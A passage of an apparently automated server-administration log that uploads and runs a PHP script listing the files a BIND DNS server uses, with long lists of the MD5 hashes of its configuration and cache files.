MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 14:22:55: Establishing a connection
2026-04-24 14:22:55: 

PUT: /tmp/pkp320784

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 14:22:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp320784; rm /tmp/pkp320784'

2026-04-24 14:22:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
